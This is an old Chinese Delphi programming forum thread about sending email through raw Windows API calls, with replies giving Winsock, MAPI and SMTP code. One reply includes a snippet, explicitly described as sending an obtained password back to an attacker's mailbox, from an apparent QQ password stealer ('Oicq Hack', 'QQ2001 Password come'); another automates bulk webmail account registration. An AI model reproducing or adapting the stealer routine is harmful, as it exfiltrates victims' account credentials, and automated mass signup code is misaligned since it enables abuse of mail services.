如何用API写发邮件程序(100分)

  • 主题发起人 主题发起人 oiwin
  • 开始时间 开始时间
O

oiwin

Unregistered / Unconfirmed
GUEST, unregistred user!
用API写了一个小程序,想给它加个发邮件功能,又不想用其它控件,使程序变大。能不能用API写个发邮件过程,给个例子好吗?
 
program XXXX;<br><br>uses<br>&nbsp; windows,messages,winsock,sysutils;<br><br>{$R *.RES}<br><br>const<br>&nbsp; CRLF=#13#10;<br>var<br>&nbsp; thd:array[1..1000] of integer;<br>&nbsp; tid:array[1..1000] of dword;<br>&nbsp; faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer;<br>&nbsp; s1:string;<br>&nbsp; sbuf:array[0..1024] of char;<br>&nbsp; dest:string;<br>&nbsp; allstart:boolean;<br>//以下是网络连接的过程<br>function StartNet(host:string;port:integer):integer;<br>var<br>&nbsp; wsadata:twsadata;<br>&nbsp; fsocket:integer;<br>&nbsp; SockAddrIn:TSockAddrIn;<br>&nbsp; mct,err:integer;<br>begin<br>&nbsp; //为网络连接作好准备(用winsock1.1以上版本)<br>&nbsp; err:=WSAStartup($0101,WSAData);<br>&nbsp; //创建一个客户端套接字(Client Socket,用SOCK_STREAM,即TCP协义)<br>&nbsp; FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);<br>&nbsp; //初始化网络数据<br>&nbsp; SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host));<br>&nbsp; SockAddrIn.sin_family := PF_INET;<br>&nbsp; SockAddrIn.sin_port :=htons(port);<br>&nbsp; //客户端向smtp进行连接<br>&nbsp; mct:=0;<br>&nbsp; repeat<br>&nbsp; err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));<br>&nbsp; inc(mct);<br>&nbsp; if mct&gt;0 then break;<br>&nbsp; until err=0;<br>&nbsp; Result:=FSocket;<br>end;<br>//以下是网络关闭的过程<br>procedure StopNet(Fsocket:integer);<br>var<br>&nbsp; err:integer;<br>begin<br>&nbsp; //发信结束,关闭客户端套接字(Close Client Socket)<br>&nbsp; err:=closesocket(FSocket);<br>&nbsp; //清除网络参数<br>&nbsp; err:=WSACleanup;<br>end;<br><br>function PostData(uid,pid:string):integer;<br>const<br>&nbsp; MaxSize=1024;<br>var<br>&nbsp; FSocket:integer;<br>&nbsp; HeadStr,PostStr:string;<br>&nbsp; DataBuf:array[0..MaxSize*60] of char;<br>&nbsp; TmpBuf:array[0..MaxSize*16] of char;<br>&nbsp; SubStr:array[0..MaxSize] of char;<br>&nbsp; err,cut:integer;<br>begin<br>// &nbsp;repeat<br>&nbsp; &nbsp; FSocket:=StartNet('202.104.32.236',80);<br>&nbsp; &nbsp; // &nbsp;PostData(FSocket,dest);<br>&nbsp; &nbsp; //--------------------申请第一步-------------------------------------<br>&nbsp; &nbsp; PostStr:=//下面是POST数据部分<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'FullName=&amp;NewUserName='+uid+'&amp;DomainName=21cn.com&amp;submit.x=33&amp;submit.y=10';<br>&nbsp; &nbsp; HeadStr:=//下面是HEAD数据部分<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'POST /extend/gb/std/NULL/NULL/register.gen HTTP/1.1'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Accept-Language: zh-cn'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Content-Type: application/x-www-form-urlencoded'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Accept-Encoding: gzip, deflate'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Host: webmail.21cn.com'+CRLF+ &nbsp; //webmail.21cn.com=202.104.32.236<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Connection: Keep-Alive'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Referer: http://webmail.21cn.com/extend/gb/UserName.htm'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Content-Length: '+inttostr(length(PostStr))+CRLF+CRLF;<br>&nbsp; &nbsp; strcopy(DataBuf,pchar(HeadStr+PostStr+CRLF));<br>&nbsp; &nbsp; err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);<br>&nbsp; &nbsp; strcopy(DataBuf,pchar(''));<br>&nbsp; &nbsp; repeat<br>&nbsp; &nbsp; &nbsp; err:=recv(FSocket,TmpBuf,MaxSize,0);<br>&nbsp; &nbsp; &nbsp; strcopy(DataBuf,pchar(strpas(DataBuf)+strpas(TmpBuf)));<br>&nbsp; &nbsp; until err&lt;=0;<br>&nbsp; &nbsp; strcopy(SubStr,pchar('已经被占用了'));<br>&nbsp; &nbsp; if AnsiStrPos(DataBuf,SubStr)&lt;&gt;nil then<br>&nbsp; &nbsp; &nbsp; WriteCaption(hEditEMail,pchar('用户已存在'));<br>&nbsp; &nbsp; strcopy(SubStr,pchar('用户名太短'));<br>&nbsp; &nbsp; if AnsiStrPos(DataBuf,SubStr)&lt;&gt;nil then<br>&nbsp; &nbsp; &nbsp; WriteCaption(hEditEMail,pchar('用户名太短'));<br>&nbsp; &nbsp; strcopy(SubStr,pchar('非法字符'));<br>&nbsp; &nbsp; if AnsiStrPos(DataBuf,SubStr)&lt;&gt;nil then<br>&nbsp; &nbsp; &nbsp; WriteCaption(hEditEMail,pchar('非法字符'));<br><br>&nbsp; &nbsp; WriteCaption(handle,pchar(inttostr(strlen(DataBuf))));<br>&nbsp; &nbsp; StopNet(Fsocket);<br>// &nbsp; &nbsp;WriteCaption(hEditCount,pchar(inttostr(strlen(DataBuf))));<br><br>// &nbsp;until err&gt;0;<br>&nbsp; //------------------------------<br>&nbsp; FSocket:=StartNet('202.104.32.236',80);<br>&nbsp; //--------------------申请第二步-------------------------------------<br>&nbsp; PostStr:=//下面是POST数据部分<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Agree=Agree&amp;DomainName=21cn.com&amp;NewUserName='+uid+'&amp;Version=2&amp;'+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'LastName=xxx&amp;CommonName=xxx&amp;Password='+pid+'&amp;ConfirmPassword='+pid+'&amp;PasswordReminderQuestion=xxx&amp;PasswordReminderAnswer=xxx'+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'&amp;PersonalID=&amp;Gender=0&amp;birth_year=1999&amp;birth_month=1&amp;birth_day=1&amp;MailBox=&amp;PasswordReminderAnswer3=&amp;Country=Null&amp;Province=Null&amp;City=';<br>&nbsp; HeadStr:=//下面是HEAD数据部分<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'POST /extend/gb/std/NULL/NULL/AddUser1.gen HTTP/1.1'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, */*'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Accept-Language: zh-cn'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Content-Type: application/x-www-form-urlencoded'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Accept-Encoding: gzip, deflate'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Host: webmail.21cn.com'+CRLF+ &nbsp; //webmail.21cn.com=202.104.32.236<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Connection: Keep-Alive'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Referer: http://webmail.21cn.com/extend/gb/std/NULL/NULL/register.gen?FullName=&amp;NewUserName='+uid+'&amp;DomainName=21cn.com&amp;submit.x=33&amp;submit.y=10'+CRLF+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;'Content-Length: '+inttostr(length(PostStr))+CRLF+CRLF;<br>&nbsp; strcopy(DataBuf,pchar(HeadStr+PostStr+CRLF));<br>&nbsp; err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);<br>&nbsp; strcopy(DataBuf,pchar(''));<br>&nbsp; repeat<br>&nbsp; &nbsp; err:=recv(FSocket,TmpBuf,MaxSize,0);<br>&nbsp; &nbsp; strcopy(DataBuf,pchar(strpas(DataBuf)+strpas(TmpBuf)));<br>&nbsp; until err&lt;=0;<br>&nbsp; strcopy(SubStr,pchar('你已经成功'));<br>&nbsp; if AnsiStrPos(DataBuf,SubStr)&lt;&gt;nil then WriteCaption(hEditEMail,pchar('申请成功!'));<br>&nbsp; //WriteCaption(hEditCount,pchar(inttostr(strlen(DataBuf))));<br>&nbsp; StopNet(Fsocket);<br>end;<br><br>//------------------------------------<br>//以下是线程创建时调用的线程函数<br>function fun(Parameter: Pointer): Integer; stdcall;<br>var<br>&nbsp; uid,pid:string;<br>begin<br>&nbsp; &nbsp; ReadCaption(hEditEmail,sbuf);uid:=strpas(sbuf);<br>&nbsp; &nbsp; ReadCaption(hEditCount,sbuf);pid:=strpas(sbuf);<br>&nbsp; &nbsp; PostData(uid,pid);<br>&nbsp; &nbsp; result:=0;<br>end;<br><br>
 
function SendMail(const Subject, Body, FileName,<br>&nbsp; SenderName, SenderEMail,<br>&nbsp; RecepientName, RecepientEMail: string): Integer;<br>var<br>&nbsp; Message: TMapiMessage;<br>&nbsp; lpSender, lpRecepient: TMapiRecipDesc;<br>&nbsp; FileAttach: TMapiFileDesc;<br>&nbsp; SM: TFNMapiSendMail;<br>&nbsp; MAPIModule: HModule;<br>begin<br>&nbsp; FillChar(Message, SizeOf(Message), 0);<br>&nbsp; with Message do<br>&nbsp; begin<br>&nbsp; &nbsp; if (Subject &lt;&gt; '') then lpszSubject := PChar(Subject);<br>&nbsp; &nbsp; if (Body &lt;&gt; '') then lpszNoteText := PChar(Body);<br>&nbsp; &nbsp; if (SenderEmail &lt;&gt; '') then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; lpSender.ulRecipClass := MAPI_ORIG;<br>&nbsp; &nbsp; &nbsp; if (SenderName = '') then<br>&nbsp; &nbsp; &nbsp; &nbsp; lpSender.lpszName := PChar(SenderEMail)<br>&nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; lpSender.lpszName := PChar(SenderName);<br>&nbsp; &nbsp; &nbsp; lpSender.lpszAddress := PChar(SenderEmail);<br>&nbsp; &nbsp; &nbsp; lpSender.ulReserved := 0;<br>&nbsp; &nbsp; &nbsp; lpSender.ulEIDSize := 0;<br>&nbsp; &nbsp; &nbsp; lpSender.lpEntryID := nil;<br>&nbsp; &nbsp; &nbsp; lpOriginator := @lpSender;<br>&nbsp; &nbsp; end;<br><br>&nbsp; &nbsp; if (RecepientEmail &lt;&gt; '') then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; lpRecepient.ulRecipClass := MAPI_TO;<br>&nbsp; &nbsp; &nbsp; if (RecepientName = '') then<br>&nbsp; &nbsp; &nbsp; &nbsp; lpRecepient.lpszName := PChar(RecepientEMail)<br>&nbsp; &nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; &nbsp; lpRecepient.lpszName := PChar(RecepientName);<br>&nbsp; &nbsp; &nbsp; lpRecepient.lpszAddress := PChar(RecepientEmail);<br>&nbsp; &nbsp; &nbsp; lpRecepient.ulReserved := 0;<br>&nbsp; &nbsp; &nbsp; lpRecepient.ulEIDSize := 0;<br>&nbsp; &nbsp; &nbsp; lpRecepient.lpEntryID := nil;<br>&nbsp; &nbsp; &nbsp; nRecipCount := 1;<br>&nbsp; &nbsp; &nbsp; lpRecips := @lpRecepient;<br>&nbsp; &nbsp; end<br>&nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; lpRecips := nil;<br><br>&nbsp; &nbsp; if (FileName = '') then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; nFileCount := 0;<br>&nbsp; &nbsp; &nbsp; lpFiles := nil;<br>&nbsp; &nbsp; end<br>&nbsp; &nbsp; else<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; FillChar(FileAttach, SizeOf(FileAttach), 0);<br>&nbsp; &nbsp; &nbsp; FileAttach.nPosition := Cardinal($FFFFFFFF);<br>&nbsp; &nbsp; &nbsp; FileAttach.lpszPathName := PChar(FileName);<br>&nbsp; &nbsp; &nbsp; nFileCount := 1;<br>&nbsp; &nbsp; &nbsp; lpFiles := @FileAttach;<br>&nbsp; &nbsp; end;<br>&nbsp; end;<br><br>&nbsp; MAPIModule := LoadLibrary(PChar(MAPIDLL));<br>&nbsp; if MAPIModule = 0 then<br>&nbsp; &nbsp; Result := -1<br>&nbsp; else<br>&nbsp; try<br>&nbsp; &nbsp; @SM := GetProcAddress(MAPIModule, 'MAPISendMail');<br>&nbsp; &nbsp; if @SM &lt;&gt; nil then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; Result := SM(0, Application.Handle, Message, MAPI_DIALOG or<br>MAPI_LOGON_UI, 0);<br>&nbsp; &nbsp; end<br>&nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; Result := 1;<br>&nbsp; finally<br>&nbsp; &nbsp; FreeLibrary(MAPIModule);<br>&nbsp; end;<br><br>&nbsp; if Result &lt;&gt; 0 then<br>&nbsp; &nbsp; MessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,<br>&nbsp; &nbsp; &nbsp; [mbOK], 0);<br>end;<br><br>**********************<br>下面是利用WinSock发送电子邮件的例子:<br>whaoye:<br>program SendMail;<br><br>uses<br>&nbsp; winsock;<br><br>{$R *.RES}<br><br>procedure sendmails;stdcall;<br>var<br>s:tsocket;<br>buffer:array[0..255] of char;<br>errorcode:integer;<br>mailserver:tsockaddr;<br>begin<br>mailserver.sin_family:=af_inet;<br>mailserver.sin_port:=htons(25);<br>mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');<br>s:=socket(af_inet,sock_stream,0);<br>errorcode:=connect(s,mailserver,sizeof(mailserver));<br>if errorcode&lt;&gt;invalid_socket then<br>begin<br>&nbsp; &nbsp;buffer:='HELO'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('HELO'+#13#10),0);<br>&nbsp; &nbsp;buffer:='MAIL FROM: whaoye@21cn.com'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('MAIL FROM: whaoye@21cn.com'+#13#10),0);<br>&nbsp; &nbsp;buffer:='RCPT TO:administrator@godeye'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);<br>&nbsp; &nbsp;buffer:='DATA'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('DATA'+#13#10),0);<br>&nbsp; &nbsp;buffer:='FROM:whaoye@21cn.com'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('FROM:whaoye@21cn.com'+#13#10),0);<br>&nbsp; &nbsp;buffer:='TO:administrator@godeye'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('TO:administrator@21cn.com'+#13#10),0);<br>&nbsp; &nbsp;buffer:='SUBJECT:just a test!'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);<br>&nbsp; &nbsp;buffer:='I LOVE THIS GAME!'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);<br>&nbsp; &nbsp;buffer:='.'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('.'+#13#10),0);<br>&nbsp; &nbsp;buffer:='QUIT'+#13#10;<br>&nbsp; &nbsp;send(s,buffer,length('QUIT'+#13#10),0);<br>&nbsp; &nbsp;closesocket(s);<br>end;<br>end;<br><br>var<br>wsa:twsadata;<br>begin<br>wsastartup($0202,wsa);<br>sendmails;<br>wsacleanup;<br>end.<br>*******************<br>//下面是个发信的子过程,取得密码后发回getoicq@21cn.com邮箱 <br>procedure MailSend; <br>begin <br>err:=recv(FSocket,sbuf,400,0); <br>s1:=strpas(sbuf); <br>inc(step); <br>case step of <br>1:s1:='HELO smtp.hacker.com'+CRLF; <br>2:s1:='MAIL FROM: &lt;getoicq@21cn.com&gt;'+CRLF; <br>3:s1:='RCPT TO: &lt;'+email+'&gt;'+CRLF; <br>4:s1:='DATA'+CRLF; <br>5:s1:='From:"Oicq Hack"&lt;www.hacker.com&gt;'+CRLF <br>+'To:"getoicq"&lt;www.password.com&gt;'+CRLF <br>+'Subject:QQ2001 Password come.'+CRLF <br>+CRLF <br>+newpass+CRLF <br>+'.'+CRLF; <br>6:s1:='QUIT'+CRLF; <br>else <br>step:=0; <br>end; <br>strcopy(sbuf,pchar(s1)); <br>err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE); <br>end; <br>//发信主过程 <br>procedure SendPass; <br>begin <br>err:=WSAStartup($0101,WSAData); <br>FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP); <br>//利用 smtp.21cn.com 进行发信 <br>fhost:='202.104.32.230'; <br>fport:=25; <br>SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost)); <br>SockAddrIn.sin_family := PF_INET; <br>SockAddrIn.sin_port :=htons(Fport); <br>err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn)); <br>step:=0; <br>repeat <br>MailSend; <br>until step=0; <br>err:=closesocket(FSocket); <br>err:=WSACleanup; <br>end;
 
to app2001,对你的最后一个例子很有兴趣,但有很多错误(变量没定义),能不能再给一个完整的?谢谢!
 
ShellExecute(handle,'open','mailto:xxx@xxx.com?subject=Hello&amp;Body=This is a test',nil,nil,SW_SHOWNORMAL);
 
如果不使用21CN服务器,怎么解决SMTP的验证问题?
 
问题解决了!
 
后退
顶部